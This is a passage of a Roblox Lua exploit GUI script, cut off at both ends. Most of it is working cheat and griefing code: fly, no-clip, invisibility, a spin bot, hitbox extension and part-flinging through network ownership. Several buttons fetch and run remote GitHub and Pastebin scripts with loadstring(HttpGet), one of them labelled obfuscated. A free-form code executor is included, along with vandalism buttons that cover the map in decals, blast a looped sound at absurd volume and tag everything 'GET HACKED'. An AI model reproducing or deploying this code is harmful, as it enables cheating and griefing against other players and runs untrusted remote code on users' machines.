) fill.BackgroundColor3 = Color3.fromRGB(100,200,100) fill.BorderSizePixel = 0 fill.ZIndex = 52 fill.Parent = track local dragging = false local minJ, maxJ = 50, 200 local function update(x) local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1) local v = math.floor(minJ + (maxJ-minJ)*rel) Humanoid.JumpPower = v label.Text = "JumpPower: "..v fill.Size = UDim2.new(rel,0,1,0) end track.InputBegan:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = true update(i.Position.X) end end) track.InputEnded:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = false end end) UserInputService.InputChanged:Connect(function(i) if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then update(i.Position.X) end end) end, "Movement", "Control your jumppower") FunctionManager:register("Spin Bot", function() spinOn = not spinOn if spinOn then if not HRP then return NotifyERROR("No HRP!") end lockBP = Instance.new("BodyPosition") lockBP.Name = "SpinLockBP" lockBP.Position = HRP.Position lockBP.MaxForce = Vector3.new(1e6, 1e6, 1e6) lockBP.P = 1e5 lockBP.D = 0 lockBP.Parent = HRP spinBAV = Instance.new("BodyAngularVelocity") spinBAV.Name = "SpinBAV" spinBAV.AngularVelocity = Vector3.new(0, 10000, 0) spinBAV.MaxTorque = Vector3.new(1e6, 1e6, 1e6) spinBAV.P = 1e5 spinBAV.Parent = HRP NotifyERROR("Spin Bot On") else if spinBAV then spinBAV:Destroy() spinBAV = nil end if lockBP then lockBP:Destroy() lockBP = nil end NotifyERROR("Spin Bot Off") end end, "Visual", "Speeeeen") FunctionManager:register("TP To Mouse", function() if hit then HRP.CFrame = CFrame.new(pos + Vector3.new(0, 3, 0)) warn("Teleported to mouse") end end, "Movement", "BUGGED") FunctionManager:register("Save Position", function() savedCFrame = HRP.CFrame Notify("Position Saved", "SYSTEM", 3) end, "Utility", "Checkpoint") FunctionManager:register("Load Position", function() if savedCFrame then HRP.CFrame = savedCFrame Notify("Position Loaded", "SYSTEM", 3) else NotifyERROR("No Position Saved") end end, "Utility", "Reload") FunctionManager:register("No‑Clip", function() noclipOn = not noclipOn if noclipOn then hoverHeight = HRP.Position.Y while noclipOn == true do task.wait(0.01) for _, part in ipairs(Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = false end end local pos = HRP.Position HRP.CFrame = CFrame.new(pos.X, hoverHeight, pos.Z) end Notify("No‑Clip ON (locked at height)", "SYSTEM", 3) else for _, part in ipairs(Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = true end end Notify("No‑Clip OFF", "SYSTEM", 3) end end, "Movement", "NOCLIP") FunctionManager:register("DarkDex", function() --Maybe works? loadstring(game:HttpGet("https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/BypassedDarkDexV3.lua", true))() end, "General", "Take a peek under the hood") FunctionManager:register("SimpleSpy", function() --also maybe works? loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua"))() end, "Catch remotes") FunctionManager:register("Orbit All Nearby Parts", function() local radius = 20 local height = 3 local orbitSpeed = 2 local speaker = Players.LocalPlayer local character = speaker.Character or speaker.CharacterAdded:Wait() local root = character:FindFirstChild("HumanoidRootPart") if not root then NotifyERROR("No HumanoidRootPart found.") return end local origin = root.Position local orbitParts = {} for _, part in ipairs(workspace:GetDescendants()) do if part:IsA("BasePart") and not part.Anchored and not part:IsDescendantOf(workspace.Terrain) then local isInCharacter = false for _, player in ipairs(Players:GetPlayers()) do local char = player.Character if char and part:IsDescendantOf(char) then isInCharacter = true break end end if not isInCharacter and (part.Position - origin).Magnitude <= radius then if not CollectionService:HasTag(part, "OrbitPart") then if part:CanSetNetworkOwnership() then part:SetNetworkOwner(speaker) else warn("Cannot set network owner for part:", part.Name) end part.CanCollide = false CollectionService:AddTag(part, "OrbitPart") table.insert(orbitParts, part) end end end end if #orbitParts == 0 then warn("No parts found for orbit.") return end local angleOffset = 2 * math.pi / #orbitParts for i, part in ipairs(orbitParts) do local angle = angleOffset * i local startPos = root.Position + Vector3.new( math.cos(angle) * radius, height, math.sin(angle) * radius ) part.Position = startPos local bodyGyro = Instance.new("BodyGyro") bodyGyro.MaxTorque = Vector3.new(1e5, 1e5, 1e5) bodyGyro.P = 1e4 bodyGyro.CFrame = CFrame.new(part.Position, root.Position) bodyGyro.Parent = part local bodyVel = Instance.new("BodyVelocity") bodyVel.MaxForce = Vector3.new(1e5, 1e5, 1e5) bodyVel.P = 1e4 bodyVel.Parent = part local conn conn = RunService.Heartbeat:Connect(function(dt) if not root or not root.Parent then conn:Disconnect() return end angle += orbitSpeed * dt local orbitCenter = root.Position local orbitPoint = orbitCenter + Vector3.new( math.cos(angle) * radius, height, math.sin(angle) * radius ) local tangent = Vector3.new( -math.sin(angle), 0, math.cos(angle) ).Unit * orbitSpeed * radius bodyVel.Velocity = tangent bodyGyro.CFrame = CFrame.new(part.Position, orbitCenter) part.Position = orbitPoint end) end warn("Orbiting", #orbitParts, "parts around you.") end, "Fun", "You have to be near the parts for a while for it to work") local function toggleInvisibility() if invisRunning then return end invisRunning = true local player = Players.LocalPlayer repeat task.wait(0.1) until player.Character local originalChar = player.Character originalChar.Archivable = true local invisibleChar = originalChar:Clone() invisibleChar.Name = "" invisibleChar.Parent = Lighting -- clone transparency for _, part in ipairs(invisibleChar:GetDescendants()) do if part:IsA("BasePart") then part.Transparency = (part.Name == "HumanoidRootPart") and 1 or 0.5 end end -- we’ll need these in nested functions: local isInvis = false local voidConn, deathConn, steppedConn -- Respawn helper (puts you back to originalChar) local function Respawn() invisRunning = false if steppedConn then steppedConn:Disconnect() end if deathConn then deathConn:Disconnect() end player.Character = originalChar originalChar.Parent = workspace -- destroy the extra humanoid local clonedHum = originalChar:FindFirstChildWhichIsA("Humanoid") if clonedHum then clonedHum:Destroy() end invisibleChar.Parent = nil end -- fix for falling through the void local voidY = workspace.FallenPartsDestroyHeight steppedConn = RunService.Stepped:Connect(function() local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart") if not hrp then return end local y = hrp.Position.Y if (voidY < 0 and y <= voidY) or (voidY >= 0 and y >= voidY) then Respawn() end end) -- if cloned character dies local clonedHum = invisibleChar:FindFirstChildWhichIsA("Humanoid") deathConn = clonedHum.Died:Connect(Respawn) -- now swap them local camCF = workspace.CurrentCamera.CFrame local hrpCF = originalChar.HumanoidRootPart.CFrame originalChar:MoveTo(Vector3.new(0, math.pi*1e6, 0)) workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable task.wait(0.2) workspace.CurrentCamera.CameraType = Enum.CameraType.Custom invisibleChar.Parent = workspace invisibleChar.HumanoidRootPart.CFrame = hrpCF player.Character = invisibleChar -- re‑enable animations for _, a in ipairs(player.Character:GetDescendants()) do if a.Name == "Animate" and a:IsA("Model") then a.Disabled = true; a.Disabled = false end end workspace.CurrentCamera:remove() wait(.1) repeat wait() until player.Character ~= nil workspace.CurrentCamera.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid') workspace.CurrentCamera.CameraType = "Custom" player.CameraMinZoomDistance = 0.5 player.CameraMaxZoomDistance = 400 player.CameraMode = "Classic" player.Character.Head.Anchored = false player.Character.Animate.Enabled = false player.Character.Animate.Enabled = true Notify("You are now invisible!", "System", 3) end FunctionManager:register( "Invisible", toggleInvisibility, "Fun", "Make your character invisible until you respawn or die" ) FunctionManager:register("Fly", function() if not HRP then warn("No HumanoidRootPart found; cannot fly.") return end flyingEnabled = not flyingEnabled if flyingEnabled then flyBG = Instance.new("BodyGyro") flyBG.P = 9e4 flyBG.MaxTorque = Vector3.new(9e4, 9e4, 9e4) flyBG.CFrame = HRP.CFrame flyBG.Parent = HRP flyBV = Instance.new("BodyVelocity") flyBV.MaxForce = Vector3.new(9e4, 9e4, 9e4) flyBV.Velocity = Vector3.new(0, 0, 0) flyBV.Parent = HRP flyConn = RunService.Heartbeat:Connect(function() local camCFrame = workspace.CurrentCamera.CFrame local dir = Vector3.new() if UserInputService:IsKeyDown(Enum.KeyCode.W) then dir = dir + camCFrame.LookVector end if UserInputService:IsKeyDown(Enum.KeyCode.S) then dir = dir - camCFrame.LookVector end if UserInputService:IsKeyDown(Enum.KeyCode.A) then dir = dir - camCFrame.RightVector end if UserInputService:IsKeyDown(Enum.KeyCode.D) then dir = dir + camCFrame.RightVector end if UserInputService:IsKeyDown(Enum.KeyCode.Space) then dir = dir + Vector3.new(0, 1, 0) end if UserInputService:IsKeyDown(Enum.KeyCode.LeftControl) then dir = dir - Vector3.new(0, 1, 0) end if dir.Magnitude > 0 then dir = dir.Unit * 50 end flyBV.Velocity = dir flyBG.CFrame = CFrame.new(HRP.Position, HRP.Position + camCFrame.LookVector) end) else if flyConn then flyConn:Disconnect() flyConn = nil end if flyBG then flyBG:Destroy() flyBG = nil end if flyBV then flyBV:Destroy() flyBV = nil end end end, "Movement", "Fly around!") FunctionManager:register("HatHub", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"))() end, "Troll", "Credits to original maker!") FunctionManager:register("Hitbox Extender", function() loadstring(game:HttpGet('https://raw.githubusercontent.com/AAPVdev/scripts/refs/heads/main/UI_LimbExtender.lua'))() end, "Troll", "Extends hitboxes") FunctionManager:register("Part Grab", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/v0c0n1337/scripts/refs/heads/main/Unachored_parts_controller_v2.lua.txt"))() end, "Troll", "Much better part grab") FunctionManager:register("Hat Script", function() loadstring(game:HttpGet("https://raw.githubusercontent.com/ocfi/Scp-096-Obfuscated/refs/heads/main/obuf"))() end, "Troll", "HATS") FunctionManager:register("PART ORBIT", function() loadstring(game:HttpGet("https://pastebin.com/raw/aZjaAr6F", true))() end, "Troll", "Probs better orbit") FunctionManager:register("chat unbanner", function() loadstring(game:HttpGet("https://pastebin.com/raw/aDFhvMC4", true))() end, "Utility", "Credits to the original maker!") FunctionManager:register("Fling GUI", function() loadstring(game:HttpGet("https://pastebin.com/raw/VynRhxJV", true))() end, "Troll", "Credits to the original maker!") --init updateGrid() end) end; task.spawn(C_8); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_a() local script = G2L["a"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer -- GUI principal local gui = Instance.new("ScreenGui") gui.Name = "CustomExecutor" gui.ResetOnSpawn = false gui.Parent = player:WaitForChild("PlayerGui") -- Ventana principal (más pequeña y semi-transparente) local mainFrame = Instance.new("Frame") mainFrame.Size = UDim2.new(0, 400, 0, 240) mainFrame.Position = UDim2.new(0.3, 0, 0.3, 0) mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30) mainFrame.BackgroundTransparency = 0.3 mainFrame.BorderSizePixel = 0 mainFrame.Active = true mainFrame.Draggable = true mainFrame.Parent = gui -- Título local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 35) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Text = "join team 1x1x13" title.TextColor3 = Color3.new(1, 1, 1) title.TextScaled = true title.Font = Enum.Font.SourceSansBold title.Parent = mainFrame -- Cuadro de texto (fondo negro, más pequeño) local input = Instance.new("TextBox") input.Size = UDim2.new(0.9, 0, 0.55, 0) input.Position = UDim2.new(0.05, 0, 0.18, 0) input.BackgroundColor3 = Color3.fromRGB(0, 0, 0) input.BackgroundTransparency = 0 input.BorderSizePixel = 0 input.TextColor3 = Color3.new(1, 1, 1) input.Text = "" input.Font = Enum.Font.Code input.TextWrapped = true input.TextXAlignment = Enum.TextXAlignment.Left input.TextYAlignment = Enum.TextYAlignment.Top input.TextSize = 16 input.ClearTextOnFocus = false input.MultiLine = true input.Parent = mainFrame -- Crear botón local function createButton(text, position) local btn = Instance.new("TextButton") btn.Size = UDim2.new(0, 90, 0, 30) btn.Position = position btn.BackgroundColor3 = Color3.fromRGB(0, 0, 0) btn.BackgroundTransparency = 0 btn.BorderSizePixel = 0 btn.Text = text btn.TextColor3 = Color3.new(1, 1, 1) btn.TextScaled = true btn.Font = Enum.Font.SourceSansBold btn.Parent = mainFrame return btn end -- Botones local executeBtn = createButton("Execute", UDim2.new(0.05, 0, 0.8, 0)) local r6Btn = createButton("R6", UDim2.new(0.375, 0, 0.8, 0)) local closeBtn = createButton("Close", UDim2.new(0.70, 0, 0.8, 0)) -- Funciones executeBtn.MouseButton1Click:Connect(function() local code = input.Text if code and code ~= "" then pcall(function() loadstring(code)() end) end end) r6Btn.MouseButton1Click:Connect(function() local Players = game:GetService("Players") local AvatarEditor = game:GetService("AvatarEditorService") local TweenService = game:GetService("TweenService") local UIS = game:GetService("UserInputService") if _G.AvatarRigPromptUI then return end _G.AvatarRigPromptUI = true local player = Players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui") local RigUI = Instance.new("ScreenGui") RigUI.Name = "AvatarRigPromptUI" RigUI.ResetOnSpawn = false RigUI.Parent = playerGui local MainFrame = Instance.new("Frame") MainFrame.Size = UDim2.new(0, 200, 0, 100) MainFrame.Position = UDim2.new(0.5, -100, 0, 20) MainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 35) MainFrame.Parent = RigUI local UIStroke = Instance.new("UIStroke") UIStroke.Thickness = 2 UIStroke.Color = Color3.fromRGB(100, 200, 255) UIStroke.Parent = MainFrame local dragActive, dragStart, frameStart MainFrame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragActive = true dragStart = input.Position frameStart = MainFrame.Position end end) UIS.InputChanged:Connect(function(input) if dragActive and input.UserInputType == Enum.UserInputType.MouseMovement then local delta = input.Position - dragStart MainFrame.Position = UDim2.new( frameStart.X.Scale, frameStart.X.Offset + delta.X, frameStart.Y.Scale, frameStart.Y.Offset + delta.Y ) end end) UIS.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragActive = false end end) local function ExecuteRigChange() local char = player.Character if not char then return end local humanoid = char:FindFirstChildOfClass("Humanoid") if not humanoid then return end local desc = humanoid.HumanoidDescription:Clone() AvatarEditor:PromptSaveAvatar(desc, Enum.HumanoidRigType.R6) local result = AvatarEditor.PromptSaveAvatarCompleted:Wait() if result == Enum.AvatarPromptResult.Success then humanoid.Health = 0 humanoid:ChangeState(Enum.HumanoidStateType.Dead) player.CharacterAdded:Wait() task.wait(1) local newHumanoid = player.Character:FindFirstChildOfClass("Humanoid") if newHumanoid then newHumanoid:ApplyDescription(desc) newHumanoid:BuildRigFromDescription(desc, Enum.HumanoidRigType.R6) end end end local R6Button = Instance.new("TextButton") R6Button.Text = "R6 MODE" R6Button.Size = UDim2.new(0.9, 0, 0.6, 0) R6Button.Position = UDim2.new(0.05, 0, 0.2, 0) R6Button.Font = Enum.Font.GothamBold R6Button.TextColor3 = Color3.new(1,1,1) R6Button.BackgroundColor3 = Color3.fromRGB(50, 150, 200) R6Button.Parent = MainFrame R6Button.MouseButton1Click:Connect(function() TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(20, 100, 150)}):Play() ExecuteRigChange() task.wait(0.2) TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(50, 150, 200)}):Play() end) local CloseButton = Instance.new("TextButton") CloseButton.Text = "X" CloseButton.Size = UDim2.new(0, 24, 0, 24) CloseButton.Position = UDim2.new(1, -26, 0, 2) CloseButton.Font = Enum.Font.GothamBold CloseButton.TextColor3 = Color3.new(1, 1, 1) CloseButton.BackgroundColor3 = Color3.fromRGB(180, 60, 60) CloseButton.BorderSizePixel = 0 CloseButton.Parent = MainFrame CloseButton.MouseButton1Click:Connect(function() RigUI:Destroy() _G.AvatarRigPromptUI = nil end) end) closeBtn.MouseButton1Click:Connect(function() gui:Destroy() end) end) end; task.spawn(C_a); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_c() local script = G2L["c"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.MouseButton1Down:Connect(function() local function write(text,object) if object:IsA("Hint") == true then local count = object:FindFirstChild("Count") if count == nil then count = Instance.new("NumberValue") count.Parent = object count.Name = "Count" count.Value = count.Value + 1 else count.Value = count.Value + 1 end local startcount = count.Value for i = 1,#text do if count.Value == startcount then local letter = string.sub(text,i,i) object.Text = string.sub(text,1,i) wait(0.001) else break end end end end local bro = Instance.new("Hint",workspace) write("TEAM 1x1x13 JOIN TODAY!",bro) end) end) end; task.spawn(C_c); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_e() local script = G2L["e"]; function click() s = Instance.new("Sky") s.Name = "Sky" s.Parent = game.Lighting s.SkyboxBk = "http://www.roblox.com/asset/?id=100363353303781" s.SkyboxDn = "http://www.roblox.com/asset/?id=100363353303781" s.SkyboxFt = "http://www.roblox.com/asset/?id=100363353303781" s.SkyboxLf = "http://www.roblox.com/asset/?id=100363353303781" s.SkyboxRt = "http://www.roblox.com/asset/?id=100363353303781" s.SkyboxUp = "http://www.roblox.com/asset/?id=100363353303781" game.Lighting.TimeOfDay = 12 end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_e); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_10() local script = G2L["10"]; function click() local function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=100363353303781" then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id=100363353303781" Two.Texture = "http://www.roblox.com/asset/?id=100363353303781" Three.Texture = "http://www.roblox.com/asset/?id=100363353303781" Four.Texture = "http://www.roblox.com/asset/?id=100363353303781" Five.Texture = "http://www.roblox.com/asset/?id=100363353303781" Six.Texture = "http://www.roblox.com/asset/?id=100363353303781" One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" end exPro(v) end end local function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(workspace) asdf(workspace) end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_10); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_12() local script = G2L["12"]; ---by 777 plz dont6 leak script.Parent.MouseButton1Down:connect(click) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=100363353303781" emit.VelocitySpread = 100000 end end) end; task.spawn(C_12); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_14() local script = G2L["14"]; script.Parent.MouseButton1Down:Connect(function() imageOne="http://www.roblox.com/asset/?id=169585459"imageTwo="http://www.roblox.com/asset/?id=169585475"imageThree="http://www.roblox.com/asset/?id=169585485"imageFour="http://www.roblox.com/asset/?id=169585502"imageFive="http://www.roblox.com/asset/?id=169585515"imageSix="http://www.roblox.com/asset/?id=169585502"imageSeven="http://www.roblox.com/asset/?id=169585485"imageEight="http://www.roblox.com/asset/?id=169585475"Spooky=Instance.new("Sound",workspace)Spooky.Name="Spooky"Spooky.SoundId="rbxassetid://174270407"Spooky.Volume=15 Spooky.Looped=true Spooky:Play()Sky=Instance.new("Sky",game.Lighting)Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne while true do Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne wait(0.15)Sky.SkyboxBk=imageTwo Sky.SkyboxDn=imageTwo Sky.SkyboxFt=imageTwo Sky.SkyboxLf=imageTwo Sky.SkyboxRt=imageTwo Sky.SkyboxUp=imageTwo wait(0.15)Sky.SkyboxBk=imageThree Sky.SkyboxDn=imageThree Sky.SkyboxFt=imageThree Sky.SkyboxLf=imageThree Sky.SkyboxRt=imageThree Sky.SkyboxUp=imageThree wait(0.15)Sky.SkyboxBk=imageFour Sky.SkyboxDn=imageFour Sky.SkyboxFt=imageFour Sky.SkyboxLf=imageFour Sky.SkyboxRt=imageFour Sky.SkyboxUp=imageFour wait(0.15)Sky.SkyboxBk=imageFive Sky.SkyboxDn=imageFive Sky.SkyboxFt=imageFive Sky.SkyboxLf=imageFive Sky.SkyboxRt=imageFive Sky.SkyboxUp=imageFive wait(0.15)Sky.SkyboxBk=imageSix Sky.SkyboxDn=imageSix Sky.SkyboxFt=imageSix Sky.SkyboxLf=imageSix Sky.SkyboxRt=imageSix Sky.SkyboxUp=imageSix wait(0.15)Sky.SkyboxBk=imageSeven Sky.SkyboxDn=imageSeven Sky.SkyboxFt=imageSeven Sky.SkyboxLf=imageSeven Sky.SkyboxRt=imageSeven Sky.SkyboxUp=imageSeven wait(0.15)Sky.SkyboxBk=imageEight Sky.SkyboxDn=imageEight Sky.SkyboxFt=imageEight Sky.SkyboxLf=imageEight Sky.SkyboxRt=imageEight Sky.SkyboxUp=imageEight wait(0.15)end end) end; task.spawn(C_14); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_16() local script = G2L["16"]; function click() Game.Workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X") end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_16); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_18() local script = G2L["18"]; script.Parent.MouseButton1Click:Connect(function() for i,v in next,workspace:children''do if(v:IsA'BasePart')then me=v; bbg=Instance.new('BillboardGui',me); bbg.Name='stuf'; bbg.Adornee=me; bbg.Size=UDim2.new(2.5,0,2.5,0) --bbg.StudsOffset=Vector3.new(0,2,0) tlb=Instance.new'TextLabel'; tlb.Text='GET HACKED MY TEAM 1x1x13 JOIN TODAY'; tlb.Font='SourceSansBold'; tlb.FontSize='Size48'; tlb.TextColor3=Color3.new(1, 0.933333, 0); tlb.Size=UDim2.new(1.25,0,1.25,0); tlb.Position=UDim2.new(-0.125,-22,-1.1,0); tlb.BackgroundTransparency=1; tlb.Parent=bbg; end;end; function xds(dd) for i,v in next,dd:children''do if(v:IsA'BasePart')then v.BrickColor=BrickColor.new'Really black'; v.TopSurface='Smooth'; v.BottomSurface='Smooth'; s=Instance.new('SelectionBox',v); s.Adornee=v; s.Color=BrickColor.new'Fire Yellow'; a=Instance.new('PointLight',v); a.Color=Color3.new(1, 0.968627, 0); a.Range=15; a.Brightness=5; end; local dec = 'http://www.roblox.com/asset/?id=19399245'; local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'} --coroutine.wrap(function() --for ,_ in pairs(fac) do --local ddec = Instance.new("Decal", v) --ddec.Face = --ddec.Texture = dec --end end)() if #(v:GetChildren())>0 then xds(v) end end end xds(game.Workspace) end) end; task.spawn(C_18); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_1a() local script = G2L["1a"]; function onClick() local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079" uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999 end script.Parent.MouseButton1Down:connect(onClick) end; task.spawn(C_1a); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_1c() local script = G2L["1c"]; function click() function exPro(root) for _, v in pairs(root:GetChildren()) do if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=111604272791927" then v.Parent = nil elseif v:IsA("BasePart") then v.Material = "Plastic" v.Transparency = 0 local One = Instance.new("Decal", v) local Two = Instance.new("Decal", v) local Three = Instance.new("Decal", v) local Four = 